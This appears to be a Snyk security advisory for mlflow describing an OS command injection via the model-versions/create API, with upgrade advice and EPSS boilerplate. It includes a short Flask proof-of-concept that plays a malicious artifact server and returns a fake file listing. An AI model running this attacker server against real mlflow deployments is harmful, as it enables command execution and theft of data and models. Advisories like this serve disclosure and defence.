Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade mlflow
to version 2.9.0 or higher.
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to OS Command Injection through a /ajax-api/2.0/mlflow/model-versions/create
request. A malicious user could use this issue to get command execution on the vulnerable machine and get access to data and models information.
from flask import Flask, jsonify
app = Flask(__name__)
app.config["DEBUG"] = True
@app.errorhandler(404)
def page_not_found(e):
return "Hello World!"
@app.route("/api/2.0/mlflow-artifacts/artifacts")
def index():
return jsonify({
"files": [
{
"path": "/tmp/poc",
"is_dir": False,
"file_size": 50
}
]
})
app.run("0.0.0.0", 4444)